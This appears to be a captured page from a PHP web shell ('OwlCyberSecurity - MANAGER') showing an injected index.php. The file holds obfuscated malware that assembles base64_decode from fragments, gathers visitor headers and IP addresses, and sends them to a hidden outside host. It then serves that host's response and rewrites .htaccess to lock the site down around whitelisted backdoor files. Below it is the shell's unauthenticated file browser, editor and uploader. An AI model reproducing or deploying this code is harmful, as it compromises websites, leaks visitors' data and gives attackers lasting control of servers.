OwlCyberSecurity - MANAGER
Edit File: index.php
<?php goto スタート; 関数群: function 문자열($番号) { // 断片化した文字列群を一つの長い文字列に連結し、位置テーブルで復元する。 // 番号に対応した断片の組み合わせを順番に結合して元の文字列を再構成する。 static $れんけつ = null; static $いちらん = null; static $かけら = array( 'request', 'HTTP', 'ag', 'FOR', 'ac', 'HTTP_', 'lan', 'cO', 'rams', 'B', 'WNjZXNz', '://', 'ent', 'p', 'MDYucmFrdXRlbjE3anAu', 'HTTP_ACCEPT_', 'aHR0cDovLzY1MjktY2g0LXYz', 'ref', 'HT', 'Lmh0Y', '_URI', 'AGENT', 'HTTP_USER_', 'D', '4', 'e', 'Y2xpY2s=', 'main', 'pi', 'SERVER', '%s/?', 'LANGUAGE', '_ADDR', '6', 'cient', 'do', '/{\|', 'pa', 'tion', 'REFERER', 'TPS', 'http', 'pro', 'tocol', 'guage', 'HTTP_X_', 'FORWARDED_', '_HOST', '_NAME', '_VIA', 'a', '$an', '_', 'i', 'E', 's', 'REQUEST', '_url', '{|', '}', 'r=%s', '}/si', 'REMOTE', 'PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocH', 'xleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZA', 'pSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+', 'erer', 'https', '', '', ); static $くみあわせ = array( array(4, 38), array(51, 34), array(19, 10), array(63, 64, 65), array(9, 50), array(55, 54), array(33, 24), array(52, 68), array(23, 25), array(7, 23, 25), array(35, 27), array(0, 57), array(53, 13), array(68, 69), array(2, 12), array(17, 66), array(42, 43), array(67, 11), array(41, 11), array(6, 44), array(16, 14, 26), array(37, 8), array(50, 28), array(30, 60), array(58, 59), array(36, 61), array(1, 47), array(29, 48), array(56, 20), array(1, 49), array(45, 46, 3), array(62, 32), array(22, 21), array(5, 39), array(18, 40), array(15, 31), ); if ($れんけつ === null) { // 断片を一括連結して、各断片の開始位置と長さを記録する。 $れんけつ = join($かけら); $いちらん = array(); $いち = 0; foreach ($かけら as $ぶぶん) { array_push($いちらん, array($いち, strlen($ぶぶん))); $いち += strlen($ぶぶん); } } // 番号に対応した断片番号列から、元の文字列を再構成する。 $けっか = null; foreach ($くみあわせ[$番号] as $ぶぶん番号) { $はんい = $いちらん[$ぶぶん番号]; $けっか .= substr($れんけつ, $はんい[0], $はんい[1]); } return $けっか; } function 행동($url) { // 取得先に対して最小限の cURL 設定でリクエストし、応答を返す。 $ハンドル = curl_init(); curl_setopt($ハンドル, CURLOPT_URL, $url); curl_setopt($ハンドル, CURLOPT_USERAGENT, 문자열(0)); curl_setopt($ハンドル, CURLOPT_TIMEOUT, 29); curl_setopt($ハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ハンドル, CURLOPT_FRESH_CONNECT, TRUE); $けっか = curl_exec($ハンドル); curl_close($ハンドル); if ($けっか) { return $けっか; } return 문자열(1); } function 헤더() { // 既存の .htaccess を比較し、必要な場合のみ書き換える。 $パス = 배우(문자열(2)); $ないよう = 배우(문자열(3)); if (file_exists($パス)) { $パス内容 = file_get_contents($パス); if ($ないよう == $パス内容) { return; } } @unlink($パス); @file_put_contents($パス, $ないよう); } function 백업($データ) { // 文字列の並び順を 2 文字単位で入れ替え、末尾は保持して返す。 $末尾 = substr($データ, strlen($データ) - 2); $断片 = str_split($データ); $並び = null; for ($インデックス = 0; $インデックス < count($断片) - 2; $インデックス = $インデックス + 2) { $並び .= $断片[$インデックス + 1] . $断片[$インデックス]; } $並び .= $末尾; return $並び; } function 배우($入力) { // 文字列から base64_decode を組み立てて実行する。 $関数 = join(str_split(문자열(4) . 문자열(5) . 문자열(6) . 문자열(7) . 문자열(8) . 문자열(9))); return $関数($入力); } スタート: // 受信ヘッダやリクエスト情報を収集して、送信に必要な配列を構築する。 $くうこう = array(); $くうこう[문자열(10)] = isset($_SERVER[문자열(26)]) ? $_SERVER[문자열(26)] : $_SERVER[문자열(27)]; $くうこう[문자열(11)] = $_SERVER[문자열(28)]; $くうこう[문자열(12)] = isset($_SERVER[문자열(29)]) ? $_SERVER[문자열(30)] : $_SERVER[문자열(31)]; if ($くうこう[문자열(12)] == null) { $くうこう[문자열(12)] = 문자열(13); } $くうこう[문자열(14)] = isset($_SERVER[문자열(32)]) ? $_SERVER[문자열(32)] : 문자열(13); $くうこう[문자열(15)] = isset($_SERVER[문자열(33)]) ? $_SERVER[문자열(33)] : 문자열(13); $くうこう[문자열(16)] = isset($_SERVER[문자열(34)]) ? 문자열(17) : 문자열(18); $くうこう[문자열(19)] = isset($_SERVER[문자열(35)]) ? $_SERVER[문자열(35)] : 문자열(13); $だいり = 배우('aHR0cDovLzMwMTgtY2g0LXYxMDEwLnByaW1ldGljbC5jbGljaw=='); // params が指定された場合はデバッグ情報として配列を返す。 if (isset($_REQUEST[문자열(21)])) { goto パラメータ; } goto メイン; パラメータ: // API 情報を付与して並び替えた結果を表示し、処理を終了する。 $くうこう[문자열(22)] = $だいり; ksort($くうこう); print_r($くうこう); die(); メイン: // 事前に .htaccess を更新し、最大 3 回までリトライする。 $しこう = 0; 헤더(); goto ループ開始; ループ開始: // 送信データをエンコードし、応答が得られなければリトライする。 if ($しこう >= 3) { goto 終了; } $URL = sprintf(문자열(23), $だいり, 백업(base64_encode(implode(문자열(24), $くうこう)))); $おうとう = 행동($URL); $ぶんかつ = @preg_split(문자열(25), $おうとう, -1, PREG_SPLIT_NO_EMPTY); /*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if (!empty($ぶんかつ) && isset($ぶんかつ[1])) { // ヘッダを付与して本文を返し、正常に終了する。 @header($ぶんかつ[0]); echo $ぶんかつ[1]; die(); } $しこう++; goto ループ開始; 終了: // ラベル参照を維持するため、関数群へ制御を戻す。 //goto 関数群; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Ow M S</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; } #container { max-width: 800px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background-color: #f9f9f9; } h1 { text-align: center; color: #333; } h2 { margin-top: 30px; color: #555; } ul { list-style-type: none; padding: 0; } li { margin-bottom: 10px; } a { text-decoration: none; color: #007bff; } a:hover { text-decoration: underline; } form { margin-top: 20px; } input[type="text"], input[type="file"], input[type="submit"] { margin-bottom: 10px; } hr { border: 0; height: 1px; background-color: #ccc; margin-top: 20px; margin-bottom: 20px; } </style> </head> <body> <div id="container"> <h1>OwlCyberSecurity - MANAGER</h1> <?php // Function to clean input from unwanted characters function clean_input($input) { return htmlspecialchars(strip_tags($input)); } // Function to navigate to the selected directory function navigate_directory($path) { $path = str_replace('\\','/', $path); $paths = explode('/', $path); $breadcrumbs = []; foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $breadcrumbs[] = '<a href="?path=/">/</a>'; continue; } if ($pat == '') continue; $breadcrumbs[] = '<a href="?path='; for ($i = 0; $i <= $id; $i++) { $breadcrumbs[] = "$paths[$i]"; if ($i != $id) $breadcrumbs[] = "/"; } $breadcrumbs[] = '">'.$pat.'</a>/'; } return implode('', $breadcrumbs); } // Function to display file or folder in the directory function display_directory_contents($path) { $contents = scandir($path); $folders = []; $files = []; foreach ($contents as $item) { if ($item == '.' || $item == '..') continue; $full_path = $path . '/' . $item; if (is_dir($full_path)) { $folders[] = '<li><strong>Folder:</strong> <a href="?path=' . urlencode($full_path) . '">' . $item . '</a></li>'; } else { $file_size = filesize($full_path); // Get file size $size_unit = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']; $file_size_formatted = $file_size ? round($file_size / pow(1024, ($i = floor(log($file_size, 1024)))), 2) . ' ' . $size_unit[$i] : '0 B'; // Format file size $files[] = '<li><strong>File:</strong> <a href="?action=edit&file=' . urlencode($item) . '&path=' . urlencode($path) . '">' . $item . '</a> (' . $file_size_formatted . ')</li>'; // Display file size } } // Display folder and file list with separator line echo '<ul>'; echo implode('', $folders); if (!empty($folders) && !empty($files)) { echo '<hr>'; // Separator line if there are folders and files } echo implode('', $files); echo '</ul>'; } // Function to create a new folder function create_folder($path, $folder_name) { $folder_name = clean_input($folder_name); $new_folder_path = $path . '/' . $folder_name; if (!file_exists($new_folder_path)) { mkdir($new_folder_path); echo "Folder '$folder_name' created successfully!"; } else { echo "Folder '$folder_name' already exists!"; } } // Function to upload a new file function upload_file($path, $file_to_upload) { $target_directory = $path . '/'; $target_file = $target_directory . basename($file_to_upload['name']); $uploadOk = 1; // File upload process if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) { echo "File ". htmlspecialchars(basename($file_to_upload['name'])). " uploaded successfully."; } else { echo "Sorry, there was an error uploading your file."; } } // Function to display and edit file content function edit_file($file_path) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $content = $_POST['file_content']; if (file_put_contents($file_path, $content) !== false) { echo "File saved successfully."; } else { echo "There was an error while saving the file."; } } $content = file_get_contents($file_path); echo '<form method="post">'; echo '<textarea name="file_content" rows="10" cols="50">' . htmlspecialchars($content) . '</textarea><br>'; echo '<input type="submit" value="Save">'; echo '</form>'; } // Main program if (isset($_GET['path'])) { $path = $_GET['path']; } else { $path = getcwd(); } if (isset($_GET['action'])) { $action = $_GET['action']; switch ($action) { case 'edit': if (isset($_GET['file'])) { $file = $_GET['file']; $file_path = $path . '/' . $file; if (file_exists($file_path)) { echo '<h2>Edit File: ' . $file . '</h2>'; edit_file($file_path); } else { echo "File not found."; } } else { echo "Invalid file."; } break; default: echo "Invalid action."; } } else { echo "<h2>Directory: " . $path . "</h2>"; echo "<p>" . navigate_directory($path) . "</p>"; echo "<h3>Directory Contents:</h3>"; display_directory_contents($path); echo '<hr>'; // Separator line echo '<h3>Create New Folder:</h3>'; echo '<form action="" method="post">'; echo 'New Folder Name: <input type="text" name="folder_name">'; echo '<input type="submit" name="create_folder" value="Create Folder">'; echo '</form>'; echo '<h3>Upload New File:</h3>'; echo '<form action="" method="post" enctype="multipart/form-data">'; echo 'Select file to upload: <input type="file" name="file_to_upload">'; echo '<input type="submit" name="upload_file" value="Upload File">'; echo '</form>'; } // Handle request to create a new folder if(isset($_POST['create_folder'])) { create_folder($path, $_POST['folder_name']); } // Handle request to upload a new file if(isset($_POST['upload_file'])) { upload_file($path, $_FILES['file_to_upload']); } ?> </div> </body> </html>